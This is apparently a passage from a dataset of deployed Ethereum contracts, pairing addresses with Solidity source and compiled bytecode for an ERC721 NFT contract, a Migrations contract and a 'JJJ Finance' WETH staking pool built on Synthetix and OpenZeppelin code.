0190505b949350505050565b6127eb838361284f565b6127f8600084848461264a565b612837576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161282e906134c8565b60405180910390fd5b505050565b600080823b905060008111915050919050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156128bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128b690613608565b60405180910390fd5b6128c881611cda565b15612908576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128ff90613508565b60405180910390fd5b61291460008383612611565b6001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546129649190613886565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050565b828054612a2990613a51565b90600052602060002090601f016020900481019282612a4b5760008555612a92565b82601f10612a6457805160ff1916838001178555612a92565b82800160010185558215612a92579182015b82811115612a91578251825591602001919060010190612a76565b5b509050612a9f9190612aa3565b5090565b5b80821115612abc576000816000905550600101612aa4565b5090565b6000612ad3612ace84613788565b613763565b905082815260208101848484011115612aef57612aee613c1e565b5b612afa848285613a0f565b509392505050565b6000612b15612b10846137b9565b613763565b905082815260208101848484011115612b3157612b30613c1e565b5b612b3c848285613a0f565b509392505050565b600081359050612b538161413d565b92915050565b600081359050612b6881614154565b92915050565b600081359050612b7d8161416b565b92915050565b600081519050612b928161416b565b92915050565b600082601f830112612bad57612bac613c19565b5b8135612bbd848260208601612ac0565b91505092915050565b600082601f830112612bdb57612bda613c19565b5b8135612beb848260208601612b02565b91505092915050565b600081359050612c0381614182565b92915050565b600060208284031215612c1f57612c1e613c28565b5b6000612c2d84828501612b44565b91505092915050565b60008060408385031215612c4d57612c4c613c28565b5b6000612c5b85828601612b44565b9250506020612c6c85828601612b44565b9150509250929050565b600080600060608486031215612c8f57612c8e613c28565b5b6000612c9d86828701612b44565b9350506020612cae86828701612b44565b9250506040612cbf86828701612bf4565b9150509250925092565b60008060008060808587031215612ce357612ce2613c28565b5b6000612cf187828801612b44565b9450506020612d0287828801612b44565b9350506040612d1387828801612bf4565b925050606085013567ffffffffffffffff811115612d3457612d33613c23565b5b612d4087828801612b98565b91505092959194509250565b60008060408385031215612d6357612d62613c28565b5b6000612d7185828601612b44565b9250506020612d8285828601612b59565b9150509250929050565b60008060408385031215612da357612da2613c28565b5b6000612db185828601612b44565b9250506020612dc285828601612bf4565b9150509250929050565b600060208284031215612de257612de1613c28565b5b6000612df084828501612b59565b91505092915050565b600060208284031215612e0f57612e0e613c28565b5b6000612e1d84828501612b6e565b91505092915050565b600060208284031215612e3c57612e3b613c28565b5b6000612e4a84828501612b83565b91505092915050565b600060208284031215612e6957612e68613c28565b5b600082013567ffffffffffffffff811115612e8757612e86613c23565b5b612e9384828501612bc6565b91505092915050565b600060208284031215612eb257612eb1613c28565b5b6000612ec084828501612bf4565b91505092915050565b60008060408385031215612ee057612edf613c28565b5b6000612eee85828601612bf4565b9250506020612eff85828601612b44565b9150509250929050565b6000612f15838361339e565b60208301905092915050565b612f2a8161399b565b82525050565b6000612f3b8261380f565b612f45818561383d565b9350612f50836137ea565b8060005b83811015612f81578151612f688882612f09565b9750612f7383613830565b925050600181019050612f54565b5085935050505092915050565b612f97816139ad565b82525050565b6000612fa88261381a565b612fb2818561384e565b9350612fc2818560208601613a1e565b612fcb81613c2d565b840191505092915050565b6000612fe182613825565b612feb818561386a565b9350612ffb818560208601613a1e565b61300481613c2d565b840191505092915050565b600061301a82613825565b613024818561387b565b9350613034818560208601613a1e565b80840191505092915050565b6000815461304d81613a51565b613057818661387b565b945060018216600081146130725760018114613083576130b6565b60ff198316865281860193506130b6565b61308c856137fa565b60005b838110156130ae5781548189015260018201915060208101905061308f565b838801955050505b50505092915050565b60006130cc60328361386a565b91506130d782613c3e565b604082019050919050565b60006130ef60268361386a565b91506130fa82613c8d565b604082019050919050565b6000613112601c8361386a565b915061311d82613cdc565b602082019050919050565b600061313560148361386a565b915061314082613d05565b602082019050919050565b600061315860248361386a565b915061316382613d2e565b604082019050919050565b600061317b60198361386a565b915061318682613d7d565b602082019050919050565b600061319e602c8361386a565b91506131a982613da6565b604082019050919050565b60006131c160388361386a565b91506131cc82613df5565b604082019050919050565b60006131e4602a8361386a565b91506131ef82613e44565b604082019050919050565b600061320760298361386a565b915061321282613e93565b604082019050919050565b600061322a60208361386a565b915061323582613ee2565b602082019050919050565b600061324d602c8361386a565b915061325882613f0b565b604082019050919050565b600061327060208361386a565b915061327b82613f5a565b602082019050919050565b600061329360178361386a565b915061329e82613f83565b602082019050919050565b60006132b660298361386a565b91506132c182613fac565b604082019050919050565b60006132d9602f8361386a565b91506132e482613ffb565b604082019050919050565b60006132fc60218361386a565b91506133078261404a565b604082019050919050565b600061331f60008361385f565b915061332a82614099565b600082019050919050565b600061334260148361386a565b915061334d8261409c565b602082019050919050565b600061336560318361386a565b9150613370826140c5565b604082019050919050565b600061338860138361386a565b915061339382614114565b602082019050919050565b6133a781613a05565b82525050565b6133b681613a05565b82525050565b60006133c8828661300f565b91506133d4828561300f565b91506133e08284613040565b9150819050949350505050565b60006133f882613312565b9150819050919050565b60006020820190506134176000830184612f21565b92915050565b60006080820190506134326000830187612f21565b61343f6020830186612f21565b61344c60408301856133ad565b818103606083015261345e8184612f9d565b905095945050505050565b600060208201905081810360008301526134838184612f30565b905092915050565b60006020820190506134a06000830184612f8e565b92915050565b600060208201905081810360008301526134c08184612fd6565b905092915050565b600060208201905081810360008301526134e1816130bf565b9050919050565b60006020820190508181036000830152613501816130e2565b9050919050565b6000602082019050818103600083015261352181613105565b9050919050565b6000602082019050818103600083015261354181613128565b9050919050565b600060208201905081810360008301526135618161314b565b9050919050565b600060208201905081810360008301526135818161316e565b9050919050565b600060208201905081810360008301526135a181613191565b9050919050565b600060208201905081810360008301526135c1816131b4565b9050919050565b600060208201905081810360008301526135e1816131d7565b9050919050565b60006020820190508181036000830152613601816131fa565b9050919050565b600060208201905081810360008301526136218161321d565b9050919050565b6000602082019050818103600083015261364181613240565b9050919050565b6000602082019050818103600083015261366181613263565b9050919050565b6000602082019050818103600083015261368181613286565b9050919050565b600060208201905081810360008301526136a1816132a9565b9050919050565b600060208201905081810360008301526136c1816132cc565b9050919050565b600060208201905081810360008301526136e1816132ef565b9050919050565b6000602082019050818103600083015261370181613335565b9050919050565b6000602082019050818103600083015261372181613358565b9050919050565b600060208201905081810360008301526137418161337b565b9050919050565b600060208201905061375d60008301846133ad565b92915050565b600061376d61377e565b90506137798282613a83565b919050565b6000604051905090565b600067ffffffffffffffff8211156137a3576137a2613bea565b5b6137ac82613c2d565b9050602081019050919050565b600067ffffffffffffffff8211156137d4576137d3613bea565b5b6137dd82613c2d565b9050602081019050919050565b6000819050602082019050919050565b60008190508160005260206000209050919050565b600081519050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b600082825260208201905092915050565b600081905092915050565b600061389182613a05565b915061389c83613a05565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156138d1576138d0613b2e565b5b828201905092915050565b60006138e782613a05565b91506138f283613a05565b92508261390257613901613b5d565b5b828204905092915050565b600061391882613a05565b915061392383613a05565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561395c5761395b613b2e565b5b828202905092915050565b600061397282613a05565b915061397d83613a05565b9250828210156139905761398f613b2e565b5b828203905092915050565b60006139a6826139e5565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b82818337600083830152505050565b60005b83811015613a3c578082015181840152602081019050613a21565b83811115613a4b576000848401525b50505050565b60006002820490506001821680613a6957607f821691505b60208210811415613a7d57613a7c613b8c565b5b50919050565b613a8c82613c2d565b810181811067ffffffffffffffff82111715613aab57613aaa613bea565b5b80604052505050565b6000613abf82613a05565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613af257613af1613b2e565b5b600182019050919050565b6000613b0882613a05565b9150613b1383613a05565b925082613b2357613b22613b5d565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560008201527f63656976657220696d706c656d656e7465720000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000600082015250565b7f496e76616c6964206d696e7420616d6f756e7421000000000000000000000000600082015250565b7f4552433732313a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f766520746f2063616c6c657200000000000000600082015250565b7f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760008201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000602082015250565b7f4552433732313a2062616c616e636520717565727920666f7220746865207a6560008201527f726f206164647265737300000000000000000000000000000000000000000000602082015250565b7f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460008201527f656e7420746f6b656e0000000000000000000000000000000000000000000000602082015250565b7f4552433732313a206d696e7420746f20746865207a65726f2061646472657373600082015250565b7f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f54686520636f6e74726163742069732070617573656421000000000000000000600082015250565b7f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960008201527f73206e6f74206f776e0000000000000000000000000000000000000000000000602082015250565b7f4552433732314d657461646174613a2055524920717565727920666f72206e6f60008201527f6e6578697374656e7420746f6b656e0000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b50565b7f4d617820737570706c7920657863656564656421000000000000000000000000600082015250565b7f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60008201527f776e6572206e6f7220617070726f766564000000000000000000000000000000602082015250565b7f496e73756666696369656e742066756e64732100000000000000000000000000600082015250565b6141468161399b565b811461415157600080fd5b50565b61415d816139ad565b811461416857600080fd5b50565b614174816139b9565b811461417f57600080fd5b50565b61418b81613a05565b811461419657600080fd5b5056fea2646970667358221220c248f1d1eb5510957ada5819fbfee8b177658f6994858226465e7f0827b839e464736f6c63430008070033
[ 5 ]
0xf3A163E0c17145872352C177f83EA84f1E295cc0
/** * SPDX-License-Identifier: MIT * * Copyright (c) 2018-2021 CENTRE SECZ * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ pragma solidity 0.6.12; contract Migrations { address public owner; uint256 public last_completed_migration; modifier restricted() { if (msg.sender == owner) _; } constructor() public { owner = msg.sender; } function setCompleted(uint256 completed) external restricted { last_completed_migration = completed; } function upgrade(address new_address) external restricted { Migrations upgraded = Migrations(new_address); upgraded.setCompleted(last_completed_migration); } }
0x608060405234801561001057600080fd5b506004361061004c5760003560e01c80630900f01014610051578063445df0ac146100795780638da5cb5b14610093578063fdacd576146100b7575b600080fd5b6100776004803603602081101561006757600080fd5b50356001600160a01b03166100d4565b005b610081610151565b60408051918252519081900360200190f35b61009b610157565b604080516001600160a01b039092168252519081900360200190f35b610077600480360360208110156100cd57600080fd5b5035610166565b6000546001600160a01b031633141561014e576000819050806001600160a01b031663fdacd5766001546040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561013457600080fd5b505af1158015610148573d6000803e3d6000fd5b50505050505b50565b60015481565b6000546001600160a01b031681565b6000546001600160a01b031633141561014e5760015556fea2646970667358221220a554e744a92c4a32c51f923b64960190e1ae508eb6704fc2ba189ce9d1446db964736f6c634300060c0033
[ 38 ]
0xf3a165b93b471b4c139b3c14b3834cfaf066aefb
// SPDX-License-Identifier: MIT /* JJJ Finance Stake WETH claim your very own yummy JJJ and JAS! Website: https://jjj.finance ____ __ __ __ _ / __/__ __ ___ / /_ / / ___ / /_ (_)__ __ _\ \ / // // _ \/ __// _ \/ -_)/ __// / \ \ / /___/ \_, //_//_/\__//_//_/\__/ \__//_/ /_\_\ /___/ * Synthetix: JJJRewards.sol * * Docs: https://docs.synthetix.io/ * * * MIT License * =========== * * Copyright (c) 2020 Synthetix * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE */ // File: @openzeppelin/contracts/math/Math.sol pragma solidity ^0.5.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = (x + 1) / 2; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity ^0.5.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/GSN/Context.sol pragma solidity ^0.5.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/ownership/Ownable.sol pragma solidity ^0.5.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return _msgSender() == _owner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.5.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.5.5; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * This test is non-exhaustive, and there may be false-negatives: during the * execution of a contract's constructor, its address will be reported as * not containing a contract. * * IMPORTANT: It is unsafe to assume that an address for which this * function returns false is an externally-owned account (EOA) and not a * contract. */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } /** * @dev Converts an `address` into `address payable`. Note that this is * simply a type cast: the actual underlying value is not changed. * * _Available since v2.4.0._ */ function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. * * _Available since v2.4.0._ */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } // File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol pragma solidity ^0.5.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: contracts/IRewardDistributionRecipient.sol pragma solidity ^0.5.0; contract IRewardDistributionRecipient is Ownable { address public rewardDistribution; function notifyRewardAmount(uint256 reward) external; modifier onlyRewardDistribution() { require(_msgSender() == rewardDistribution, "Caller is not reward distribution"); _; } function setRewardDistribution(address _rewardDistribution) external onlyOwner { rewardDistribution = _rewardDistribution; } } // File: contracts/CurveRewards.sol pragma solidity ^0.5.0; contract LPTokenWrapper { using SafeMath for uint256; using SafeERC20 for IERC20; IERC20 public weth = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); uint256 public constant DECIMALS = 1e18; uint256 private _totalSupply; uint256 private _sqrtTotalSupply; uint256 private _maxSupply; mapping(address => uint256) private _balances; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function stake(uint256 amount) public { _totalSupply = _totalSupply.add(amount); _maxSupply = Math.max(_maxSupply, _totalSupply); uint256 _prevBalance = _balances[msg.sender]; _balances[msg.sender] = _balances[msg.sender].add(amount); _sqrtTotalSupply = _sqrtTotalSupply.sub(sqrtBalance(_prevBalance)).add(sqrtBalance(_balances[msg.sender])); weth.safeTransferFrom(msg.sender, address(this), amount); } function withdraw(uint256 amount) public { _totalSupply = _totalSupply.sub(amount); uint256 _prevBalance = _balances[msg.sender]; _balances[msg.sender] = _balances[msg.sender].sub(amount); _sqrtTotalSupply = _sqrtTotalSupply.sub(sqrtBalance(_prevBalance)).add(sqrtBalance(_balances[msg.sender])); weth.safeTransfer(msg.sender, amount); } function sqrtTotalSupply() public view returns (uint256) { return _sqrtTotalSupply; } function maxSupply() public view returns (uint256) { return _maxSupply; } function sqrtBalance(uint256 balance) public pure returns (uint256) { if (balance < DECIMALS) { return balance; } else { return Math.sqrt(balance.div(DECIMALS)).mul(DECIMALS); } } } contract JJJETHPool is LPTokenWrapper, IRewardDistributionRecipient { IERC20 public jjj = IERC20(0x630c9596328add0adFAB766FFcdf8077C2Ab5909); IERC20 public jas = 